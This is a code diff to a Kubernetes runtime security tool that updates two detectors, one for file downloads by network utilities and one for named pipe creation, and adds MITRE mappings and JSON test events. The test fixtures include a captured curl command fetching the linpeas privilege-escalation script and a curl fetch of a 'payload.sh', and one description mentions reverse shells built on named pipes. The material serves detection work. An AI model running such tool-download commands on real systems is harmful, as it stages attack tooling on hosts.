a/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/main.go b/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/main.go index 4660b196..62fb37da 100644 --- a/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/main.go +++ b/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "regexp" "github.com/gobwas/glob" @@ -14,12 +15,17 @@ import ( const ( ID = "CS_RT_DOWNLOAD_TOOLS" Name = "Network activity: file downloading" - Description = "The detector detects suspicious network activity of utilities used for file transferring and downloading." + Description = "The detector detects network activity of utilities used for file transferring and downloading. Downloaded files can be malicious tools, payloads, or data used by an adversary to prepare for further actions." Version = 2 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + KprobeNoArgs = "Detected that data was downloaded from a node available at IP address `%s` and port `%d` by the `%s` process" + KprobeDefault = "Detected that data was downloaded from a node available at IP address `%s` and port `%d` by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -38,6 +44,31 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0008", + Techniques: []string{ + "T1570", + }, + }, + { + Id: "TA0010", + Techniques: []string{ + "T1048.001", + "T1048.002", + "T1048.003", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1105", + }, + }, + } +) + // downloadTool represents a combination of binary's and its arguments' patterns. type downloadTool struct { binaryPattern glob.Glob @@ -69,8 +100,8 @@ var downloadTools = []downloadTool{ }, } -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -78,12 +109,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -117,10 +149,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - binary := kprobe.GetProcess().GetBinary() args := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() + functionArgs := kprobe.GetArgs() if function != "tcp_connect" { return resp, nil @@ -148,7 +180,16 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe } if match { + resp.TacticsCovered = mitreTactics + dstIp := functionArgs[0].GetSockArg().GetDaddr() + dstPort := functionArgs[0].GetSockArg().GetDport() + if args == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, dstIp, dstPort, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, dstIp, dstPort, binary, args) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected + return resp, nil } @@ -159,267 +200,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODUwNzQ3NzcyMjkxMTg6MTY5MzczMg==", - "pid": 1693732, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/curl", - "arguments": "-LO https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh", - "flags": "execve rootcwd clone", - "start_time": "2024-03-22T11:45:01.570679989Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 60210, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzgzMDQwMjY6MTY3NDQ4NQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1693732, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzgzMDQwMjY6MTY3NDQ4NQ==", - "pid": 1674485, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-22T11:12:40.871754656Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 60201, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzQ2MjE2NDY6MTY3NDQ4NQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1674485, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "tcp_connect", - "args": [ - { - "sock_arg": { - "family": "AF_INET", - "type": "SOCK_STREAM", - "protocol": "IPPROTO_TCP", - "mark": 0, - "priority": 0, - "saddr": "10.244.0.97", - "daddr": "140.82.121.4", - "sport": 55106, - "dport": 443, - "cookie": "18446635049337231936", - "state": "TCP_SYN_SENT" - }, - "label": "" - } - ], - "return": null, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "tcp-out-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-22T11:45:01.589721382Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/testdata/negative_wrong_func.json new file mode 100644 index 00000000..9847e6b6 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/testdata/negative_wrong_func.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/curl", + "arguments": "https://example.com/payload.sh" + }, + "function_name": "tcp_close", + "args": [ + { + "sock_arg": { + "daddr": "203.0.113.10", + "dport": 443 + } + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/testdata/positive_curl_download.json b/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/testdata/positive_curl_download.json new file mode 100644 index 00000000..09522526 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_DOWNLOAD_TOOLS/testdata/positive_curl_download.json @@ -0,0 +1,278 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODUwNzQ3NzcyMjkxMTg6MTY5MzczMg==", + "pid": 1693732, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/curl", + "arguments": "-LO https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh", + "flags": "execve rootcwd clone", + "start_time": "2024-03-22T11:45:01.570679989Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 60210, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzgzMDQwMjY6MTY3NDQ4NQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1693732, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzgzMDQwMjY6MTY3NDQ4NQ==", + "pid": 1674485, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-22T11:12:40.871754656Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 60201, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODMxMzQwNzQ2MjE2NDY6MTY3NDQ4NQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1674485, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "tcp_connect", + "args": [ + { + "sock_arg": { + "family": "AF_INET", + "type": "SOCK_STREAM", + "protocol": "IPPROTO_TCP", + "mark": 0, + "priority": 0, + "saddr": "10.244.0.97", + "daddr": "140.82.121.4", + "sport": 55106, + "dport": 443, + "cookie": "18446635049337231936", + "state": "TCP_SYN_SENT" + }, + "label": "" + } + ], + "return": null, + "action": "KPROBE_ACTION_POST", + "policy_name": "cs-tcp-out-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-22T11:45:01.589721382Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_DOWNLOAD_TOOLS", + "severity": "HIGH", + "reason_contains": "data was downloaded", + "tactics": [ + "TA0008", + "TA0010", + "TA0011" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/main.go b/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/main.go index 5427599e..8305d17c 100644 --- a/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/main.go +++ b/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/main.go @@ -14,12 +14,17 @@ import ( const ( ID = "CS_RT_FIFO_FILE_CREATE" Name = "Creation of named pipe file" - Description = "The detector detects signs that a named pipe file was created. Applications can use such a file to bypass existing audit policies when exchanging data; for example, to create a reverse shell." + Description = "The detector detects signs that a named pipe file was created. Applications can use such a file to bypass existing audit policies when exchanging data—for example, to create a reverse shell." Version = 1 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + KprobeNoArgs = "Detected that the named pipe file `%s` was created by the `%s` process" + KprobeDefault = "Detected that the named pipe file `%s` was created by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -38,6 +43,17 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1559", + }, + }, + } +) + var ( suspDirs = []glob.Glob{ glob.MustCompile("/boot/*"), @@ -52,8 +68,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -61,12 +77,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -100,6 +117,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() path := "" @@ -117,6 +136,12 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe for _, dir := range suspDirs { if dir.Match(path) { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, path, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, path, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -132,309 +157,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ5NjA3OTAyMjM5MDoxOTE5OTAw", - "pid": 1919900, - "uid": 0, - "cwd": "/tmp", - "binary": "/usr/bin/mkfifo", - "arguments": "fifo-test", - "flags": "execve clone", - "start_time": "2025-12-10T08:23:14.409290982Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://35ae39802175a6d328218c2d35d878bf0402b37a229ee28b2960161c567eca5d", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:7e5bc0e499a8d50cb1e32287944a90b9ec8fd7d500673e75daff3f52882f5798", - "name": "docker.io/library/debian:12" - }, - "start_time": "2025-12-10T07:50:30Z", - "pid": 54, - "maybe_exec_probe": false, - "security_context": { - "privileged": false - } - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod", - "pod_annotations": {} - }, - "docker": "35ae39802175a6d328218c2d35d878b", - "parent_exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ2MjM2MjUzMTYzMToxOTE5MjAw", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533802, - "is_host": false - }, - "ipc": { - "inum": 4026533803, - "is_host": false - }, - "mnt": { - "inum": 4026533805, - "is_host": false - }, - "pid": { - "inum": 4026533806, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533806, - "is_host": false - }, - "net": { - "inum": 4026533163, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533807, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1919900, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": false - }, - "parent": { - "exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ2MjM2MjUzMTYzMToxOTE5MjAw", - "pid": 1919200, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-12-10T08:22:40.692800397Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://35ae39802175a6d328218c2d35d878bf0402b37a229ee28b2960161c567eca5d", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:7e5bc0e499a8d50cb1e32287944a90b9ec8fd7d500673e75daff3f52882f5798", - "name": "docker.io/library/debian:12" - }, - "start_time": "2025-12-10T07:50:30Z", - "pid": 45, - "maybe_exec_probe": false, - "security_context": { - "privileged": false - } - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod", - "pod_annotations": {} - }, - "docker": "35ae39802175a6d328218c2d35d878b", - "parent_exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ2MjM2MTU0OTAwNjoxOTE5MjAw", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533802, - "is_host": false - }, - "ipc": { - "inum": 4026533803, - "is_host": false - }, - "mnt": { - "inum": 4026533805, - "is_host": false - }, - "pid": { - "inum": 4026533806, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533806, - "is_host": false - }, - "net": { - "inum": 4026533163, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533807, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 1919200, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null, - "in_init_tree": false - }, - "function_name": "security_path_mknod", - "args": [ - { - "path_arg": { - "mount": "", - "path": "/tmp/fifo-test", - "flags": "", - "permission": "---------" - }, - "label": "new file path" - }, - { - "uint_arg": 4534, - "label": "new file mode" - } - ], - "return": null, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "io-streams", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [], - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2025-12-10T08:23:14.410150687Z", - "aggregation_info": null, - "cluster_name": "", - "node_labels": { - "beta.kubernetes.io/arch": "amd64", - "beta.kubernetes.io/os": "linux", - "kubernetes.io/arch": "amd64", - "kubernetes.io/hostname": "experts-k8s-cs", - "kubernetes.io/os": "linux", - "node-role.kubernetes.io/control-plane": "", - "node.kubernetes.io/exclude-from-external-load-balancers": "" - } +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..ceaaf7de --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/testdata/negative_wrong_func.json @@ -0,0 +1,34 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/mkfifo", + "arguments": "/tmp/myfifo" + }, + "function_name": "security_path_mkdir", + "args": [ + { + "path_arg": { + "path": "/tmp/myfifo" + } + }, + { + "int_arg": 4096 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/testdata/positive_mkfifo.json b/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/testdata/positive_mkfifo.json new file mode 100644 index 00000000..8e5fda5d --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_FIFO_FILE_CREATE/testdata/positive_mkfifo.json @@ -0,0 +1,303 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ5NjA3OTAyMjM5MDoxOTE5OTAw", + "pid": 1919900, + "uid": 0, + "cwd": "/tmp", + "binary": "/usr/bin/mkfifo", + "arguments": "fifo-test", + "flags": "execve clone", + "start_time": "2025-12-10T08:23:14.409290982Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://35ae39802175a6d328218c2d35d878bf0402b37a229ee28b2960161c567eca5d", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:7e5bc0e499a8d50cb1e32287944a90b9ec8fd7d500673e75daff3f52882f5798", + "name": "docker.io/library/debian:12" + }, + "start_time": "2025-12-10T07:50:30Z", + "pid": 54, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "35ae39802175a6d328218c2d35d878b", + "parent_exec_id": "dnNoLWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDoxODA3MTQ2MjM2MjUzMTYzMToxOTE5MjAw", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533802, + "is_host": false + }, + "ipc": { + "inum": 4026533803, + "is_host": false + }, + "mnt": { + "inum": 4026533805, + "is_host": false + }, + "pid": { + "inum": 4026533806, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533806, + "is_host": false + }, + "net": { + "inum": 4026533163, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533807, 